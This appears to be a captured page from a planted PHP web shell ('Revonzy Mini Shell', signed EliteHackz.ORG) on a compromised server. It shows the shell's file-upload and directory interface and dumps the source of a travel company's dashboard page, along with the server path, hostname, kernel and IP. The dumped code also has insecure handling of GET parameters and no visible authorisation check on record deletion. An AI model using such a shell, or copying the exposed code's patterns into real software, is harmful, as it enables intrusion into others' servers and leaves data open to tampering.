Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/b2bflight.com/B2BFlight/project/dashboard/confirm_sales.php

<?php
	require_once('lib/functions.php');
	$db		=	new class_functions();
	
	$flag	=	0;
	if(isset($_GET['delete_id']))
	{
		$delete_id	=	$_GET['delete_id'];
		
		if($db->delete_upload_request($delete_id))
		{
			$flag	=	3;
		}
	}


$res_edit_id = "";
if(isset($_GET['sales_id'])){
    $res_edit_id = $_GET['sales_id'];
    $_SESSION['sales_id'] = $res_edit_id;  
}
echo $res_edit_id	 = $_SESSION['sales_id'];



if(isset($_SESSION['current_login_admin'])) {
   echo  $current_login_admin=$_SESSION['current_login_admin'];
}

	
	if (isset($_GET['id'])) {
    $id = $_GET['id'];
    $status = $_GET['status'];
    
	if ($db->set_request_status_block($id,$status))
		{
		?>
		<script>
			alert("status updated successfully");
		</script>
		<?php
	}
}
	$data	=	array();
	$data	=	$db->get_all_upload_request_for_sales($res_edit_id);
?>
<!doctype html>
<html lang="en" dir="ltr">
  <head>
   <?php
		require_once('header-common.php');
   ?>
  </head>
  <body class="  ">

    
    <aside class="sidebar sidebar-default sidebar-white sidebar-base navs-rounded-all ">
        <div class="sidebar-header d-flex align-items-center justify-content-start">
            <a href="index.php" class="navbar-brand">
				<img src="images/<?php echo $logo; ?>" class="software_logo" style="height:90px; width:220px;" />
            </a>
            <div class="sidebar-toggle" data-toggle="sidebar" data-active="true">
                <i class="icon">
                    <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M4.25 12.2744L19.25 12.2744" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M10.2998 18.2988L4.2498 12.2748L10.2998 6.24976" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                </i>
            </div>
        </div>
        
		<?php
		require_once('left-side.php');
	?>
		<div class="sidebar-footer"></div>
    </aside>   
	<main class="main-content">
    	<?php
			require_once('navbar.php');
		?>
	  
      <div class="conatiner-fluid content-inner mt-n5 py-0">
<div class="row">
    <div class="col-sm-12">
        <div class="card">
		
			<?php
				if($flag ==3)
				{
			?>
				<div class="mb-3 alert alert-left alert-success alert-dismissible fade show" role="alert" style="width:80%; margin:auto; margin-top:25px;">
					<span>Upload Request Deleted Successfully</span>
					<button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
				</div>
			<?php
				}
			?>
			
		
            <div class="card-header d-flex justify-content-between flex-wrap">
                <div class="header-title">
                    <h3 class="card-title mb-0">Blocked Agent Recharge Request Report</h3>
                </div>
				</div>
			    <div class="card-body" style="overflow:scroll;">
                <div class="table-responsive">
                    <table class="table table-bordered">
                        <thead>
                          
								<th>Sr No</th>
                                <!-- <th>Agent id </th> -->
								<th>Amount </th>
								<th>Reference Number</th>
								<th>Payment Method</th>
								<th>File</th>
								<th>Message</th>
								<th>Status</th>
								<th>date</th>
								<th>time</th>
                               <!--  <th class="text-center">Edit</th>
                                <th class="text-center">Delete</th>
								<th>status</th> -->
                           		
                        </thead>
                        <tbody>
						
						
							<?php
								
								$counter = 0;
								if(!empty($data))
								{
									foreach($data as $record)
									{	
										$id						=$data[$counter][0];
										$agent_id				=$data[$counter][1];
										$amount					=$data[$counter][2];
										$reference_no			=$data[$counter][3];
										$payment_method			=$data[$counter][4];
										$photo					=$data[$counter][5];
										$message				=$data[$counter][6];
										$status					=$data[$counter][7];
										$date					=$data[$counter][8];
										$time					=$data[$counter][9];
							?>
                            <tr class="">
                                <td class=""><?php echo $counter+1; ?></td>
								<!-- <td class=""><?php echo $agent_id ; ?> <br></td> -->
								<td class=""><?php echo	$amount; ?></td>
								<td class=""><?php echo $reference_no; ?></td>
								<td class=""><?php echo $payment_method; ?></td>
								  <td class=""><?php 
                                      if($photo!="")
                                {
                                    ?>
                                    <a href="file_photo/<?php echo $photo; ?>" target="_blank">
                                    <img src="file_photo/<?php echo $photo; ?>" style="height:100px; width:100px;" />
                                    </a>
                                    <?php
                                } 
                                ?></td>
								<td class=""><?php echo $message; ?></td>
								<td class=""><?php echo $status; ?></td>
								<td class=""><?php echo $date; ?></td>
								<td class=""><?php echo $time; ?></td>
								
                            </tr>
							
							<?php
												$counter++;
										}
									}
									else
									{
										echo "no data found.";
									}
							?>
						</tbody>
                    </table>
                  
                </div>
            </div>
	</div>
</div>
</div>
 
    <!-- Library Bundle Script -->
    <script src="../assets/js/core/libs.min.js"></script>
    
    <!-- External Library Bundle Script -->
    <script src="../assets/js/core/external.min.js"></script>
    
    <!-- Widgetchart Script -->
    <script src="../assets/js/charts/widgetcharts.js"></script>
    
    <!-- mapchart Script -->
    <script src="../assets/js/charts/vectore-chart.js"></script>
    <script src="../assets/js/charts/dashboard.js" ></script>
    
    <!-- fslightbox Script -->
    <script src="../assets/js/plugins/fslightbox.js"></script>
    
    <!-- Settings Script -->
    <script src="../assets/js/plugins/setting.js"></script>
    
    <!-- Slider-tab Script -->
    <script src="../assets/js/plugins/slider-tabs.js"></script>
    
    <!-- Form Wizard Script -->
    <script src="../assets/js/plugins/form-wizard.js"></script>
    
    <!-- AOS Animation Plugin-->
    <script src="../assets/vendor/aos/dist/aos.js"></script>
    
    <!-- App Script -->
    <script src="../assets/js/hope-ui.js" defer></script>
     <style>
	.sidebar.sidebar-default .nav-link:not(.static-item).active , .sidebar.sidebar-default .nav-link:not(.static-item).active, .sidebar.sidebar-default .nav-link:not(.static-item)[aria-expanded=true]
	{
		background-color:#FE6600 !important;
	}
	</style>
  </body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4